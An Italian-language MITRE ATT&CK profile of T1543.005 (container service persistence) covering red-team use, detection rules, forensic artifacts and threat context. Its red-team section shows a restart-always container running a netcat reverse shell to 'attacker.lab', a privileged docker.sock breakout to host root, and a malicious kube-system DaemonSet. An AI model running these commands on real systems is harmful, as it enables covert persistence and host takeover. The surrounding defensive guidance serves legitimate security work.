Persistenza via Container: Container Service (T1543.005)

In un esercizio red team la tecnica si presta a catene rapide e a basso rumore, perché sfrutta funzionalità legittime dei runtime. Il presupposto è disporre di credenziali o token con accesso al Docker socket (/var/run/docker.sock) oppure a un ServiceAccount Kubernetes con verbi create su pods o daemonsets.

Persistenza via Docker rootful. Un container che riparte da solo su ogni reboot si ottiene con Docker CLI (open source):

docker run -d --restart=always --name sysmon-helper alpine sh -c "while true; do nc attacker.lab 4444 -e /bin/sh; sleep 60; done"

Il flag --restart=always delega a dockerd la ripartenza, senza toccare systemd direttamente. Analogo con Podman (open source): podman run -d --restart=always ..., con la differenza che in modalità rootless la persistenza richiede l'abilitazione di podman generate systemd per creare unit utente in ~/.config/systemd/user/.

Escalation via Docker socket. Se l'utente compromesso è nel gruppo docker, il breakout è banale:

docker run -it --rm --privileged --pid=host -v /:/host alpine chroot /host

Ottiene una shell root sull'host montando il filesystem. Utile in laboratorio per dimostrare l'equivalenza docker group = root.

Persistenza via Kubernetes DaemonSet. Con kubectl (open source) e un ServiceAccount con RBAC adeguato:

kubectl apply -f daemonset-evil.yaml

Il manifest definisce un DaemonSet in namespace kube-system con hostPID: true, hostNetwork: true e volumes che montano / del nodo. Ogni nodo esistente e futuro riceverà il pod. Per targeting mirato si usa nodeSelector con label di nodi specifici (es. quelli etichettati come worker con GPU o accesso a segreti).

Tooling di supporto. Per la fase di ricognizione e abuso su Kubernetes il red team usa comunemente kubectl-who-can (open source) per mappare i permessi, peirates (open source) per l'exploitation da dentro un pod compromesso, Bad-Pods (open source) di BishopFox come collezione di manifest weaponizzati, e kube-hunter (open source) di Aqua Security per la scoperta di API server esposti. Per l'analisi di container image e configurazioni, Trivy (open source) e kube-bench (open source) aiutano a identificare misconfigurazioni sfruttabili prima dell'ingaggio.

Mantieni tutte le attività in ambienti isolati: un DaemonSet in un cluster di produzione è difficile da rimuovere senza tracce.

La detection ruota attorno alla correlazione tra eventi del runtime container e attività privilegiate sull'host, come descritto in DET0473 e nell'analitico AN1304. Le tre fonti di log fondamentali sono auditd:SYSCALL, systemd:unit e kubernetes:audit.

Kubernetes audit log. È la fonte primaria. Configurare la audit policy per registrare a livello RequestResponse le operazioni create e update su risorse pods, daemonsets, deployments. Gli alert prioritari:

• Creazione di DaemonSet in namespace sensibili (kube-system, kube-public), specialmente da ServiceAccount non associati a controller ufficiali
• Pod con hostPID, hostNetwork, hostIPC a true, oppure con securityContext.privileged: true
• Pod con volumeMounts che includono /, /etc, /var/run/docker.sock, /proc
• Uso di nodeName esplicito che bypassa lo scheduler (indicatore di targeting mirato)
• Pod eseguiti come runAsUser: 0 fuori dai casi legittimi

Docker/Podman events. Il comando docker events (open source) espone in tempo reale creazioni, start e configurazioni. In produzione conviene forwardare gli eventi a un SIEM tramite il socket o l'API. Regola chiave: alert su container avviati con --privileged, --pid=host, --net=host, o con bind mount di path sensibili. Anche la direttiva restart=always su container non appartenenti a workload noti va investigata, perché è la firma classica della persistenza descritta in T1543.005.

Systemd e auditd. Molte pipeline moderne registrano i container come unit systemd (via podman generate systemd o docker-compose systemd). Monitorare la creazione di nuove unit in /etc/systemd/system/ e ~/.config/systemd/user/ che referenziano binari container. Regola auditd suggerita:

-w /etc/systemd/system/ -p wa -k systemd_unit_change

e parallelamente watch su /var/run/docker.sock per rilevare accessi da processi anomali.

Correlazione temporale. Il pattern sospetto è: creazione container → syscall privilegiate sull'host (mount, setuid, capset) entro una finestra breve (5-10 minuti). Piattaforme come Falco (open source) della CNCF offrono regole predefinite per T1543.005, in particolare Launch Privileged Container, Container Run as Root User e Write below etc. Falco si integra con kubernetes:audit e syscall a livello kernel, coprendo l'intera catena.

Tuning e falsi positivi. Ambienti che ospitano legittimamente CI/CD runner, DaemonSet di logging (Fluentd, Filebeat), o operator con permessi ampi generano rumore. La tuning list di AN1304 raccomanda di scopare le regole ai namespace ad alto rischio ed escludere workload firmati e provenienti da registry interni verificati. Baseline delle immagini attese per nodo e allowlist di ServiceAccount riducono ulteriormente i falsi positivi.

L'analisi forense di un incidente T1543.005 combina artefatti del runtime container, del cluster orchestrator e del sistema operativo host. La timeline tipica parte dall'evento di creazione lato API e si estende fino agli effetti sull'host.

Artefatti Docker. Il metadato principale risiede in /var/lib/docker/containers/<container-id>/, dove si trovano config.v2.json (definizione completa del container, incluso RestartPolicy, mount, comando eseguito) e hostconfig.json (privilegi, capabilities, network mode). Il file <container-id>-json.log conserva stdout/stderr del processo, spesso rivelatore di comandi eseguiti. Il daemon log in /var/log/docker.log o via journalctl -u docker registra creazioni, restart e errori. Per estrarre rapidamente la configurazione di un container sospetto ancora presente: docker inspect .

Artefatti Podman. In modalità rootless i metadati sono in ~/.local/share/containers/storage/ per ogni utente coinvolto, con struttura simile a Docker. Le unit systemd generate finiscono in ~/.config/systemd/user/ e vanno raccolte come evidenza di persistenza.

Artefatti Kubernetes. Il kubernetes audit log (percorso configurabile, tipicamente /var/log/kubernetes/audit.log sul control plane) è la ground truth: contiene user, sourceIPs, verb, objectRef, timestamp e il requestObject completo con la pod spec. Ricostruire la sequenza create daemonset → create pod → bind to node consente di identificare l'account compromesso e i nodi impattati. Su ogni nodo, i log del kubelet (journalctl -u kubelet) mostrano gli eventi di pull immagine, mount di volumi e start dei container. Il containerd o CRI-O runtime mantiene stato in /var/lib/containerd/ o /var/lib/containers/.

Timeline sull'host. Correlazione con auditd per syscall execve, mount, clone nella finestra temporale del deploy. Se il container ha montato / o /etc, cercare modifiche a file di autenticazione (/etc/passwd, /etc/shadow, /root/.ssh/authorized_keys) tramite timestamp MAC e confronto con backup. Il registro lastlog e wtmp possono mostrare accessi successivi ottenuti tramite chiavi iniettate.

Immagini container come evidenza. L'immagine usata va acquisita con docker save o skopeo copy (open source) e analizzata con Trivy (open source) e dive (open source) per esplorare i layer, individuare binari malevoli, script di entrypoint e credenziali embedded. Se l'immagine è stata pullata da registry esterno, la digest SHA256 nel file config.v2.json è fondamentale per pivotare su threat intelligence.

Preservazione. Snapshot del filesystem dei nodi coinvolti, export completo di /var/lib/docker o /var/lib/containerd, dump del kubernetes audit log e degli etcd snapshot (se disponibili) permettono la ricostruzione anche dopo la rimozione delle risorse. Etcd contiene lo stato storico delle risorse eliminate se il compattamento non è avvenuto.

I dati MITRE ATT&CK forniti per T1543.005 non associano gruppi APT, software o campagne specifiche a questa sotto-tecnica. Questa assenza non significa che la tecnica sia teorica: riflette piuttosto la difficoltà di attribuzione degli abusi di container, spesso confusi in report pubblici sotto categorie più generiche di Cloud & Container Attacks o Kubernetes Compromise.

Contesto strategico. L'adozione massiva di Kubernetes in enterprise, telco e finance ha spostato la superficie d'attacco dalle VM ai control plane dei cluster. Il pattern osservato negli incidenti di dominio pubblico segue tre direttrici. La prima è l'abuso post-compromise di ServiceAccount con RBAC eccessivo, dove l'attaccante distribuisce DaemonSet per la persistenza multi-nodo. La seconda è lo sfruttamento di API server esposti senza autenticazione, storicamente frequente su Kubernetes self-managed e su installazioni k3s/microk8s in edge. La terza è il container escape via Docker socket montato per convenienza dagli sviluppatori dentro pod di CI/CD.

Motivazioni degli attori. Il vettore container è particolarmente attraente per due categorie di attaccanti. I gruppi di cryptojacking (storicamente TeamTNT, Kinsing e cluster affini) usano DaemonSet per garantire miner XMRig su ogni nodo aggiunto, massimizzando la resa computazionale. I gruppi di state-sponsored espionage apprezzano la persistenza silenziosa che un container in namespace di sistema offre: nessuna scrittura su disco tradizionale, difficile deregistrazione, e possibilità di intercettare traffico est-ovest tramite hostNetwork.

Prevedibili evoluzioni. L'aumento dell'adozione di rootless Podman e delle policy Kubernetes tramite Pod Security Admission (subentrato alle Pod Security Policy deprecate) sta alzando il costo dell'attacco. In risposta, gli attaccanti stanno investendo su tecniche di RBAC abuse più raffinate, sfruttando ruoli di operator legittimi con permessi ampi. Anche l'ecosistema GitOps (ArgoCD, Flux) diventa target, perché compromettere il repository sorgente permette di iniettare manifest malevoli che il cluster applica automaticamente.

Priorità difensive per il threat intel officer. Monitorare feed su vulnerabilità di runtime (containerd, runc, CRI-O), tracciare CVE con impatto su escape (CVE-2019-5736 runc, CVE-2022-0811 CRI-O, CVE-2024-21626 runc) e correlare con esposizione degli asset interni. Mantenere una mappa aggiornata di quali cluster ospitano workload critici e quali team hanno permessi create su DaemonSet o update su nodi. Integrare la threat intel con posture management tools come kube-bench (open source) e kubescape (open source) permette di quantificare la superficie effettivamente esposta a T1543.005.

MITRE ATT&CK: tecnica T1543.005 (Container Service), tattiche TA0003 e TA0004, mitigazioni M1018 e M1054, detection DET0473 con analytic AN1304. MITRE D3FEND per il mapping delle contromisure. Documentazione ufficiale Docker, Podman e Kubernetes per sintassi comandi e API. Contenuti tecnici su tool (Falco, Trivy, kube-bench, kubescape, peirates, Bad-Pods, dive, skopeo) derivati da conoscenza professionale di cybersecurity e verificati sui rispettivi repository pubblici.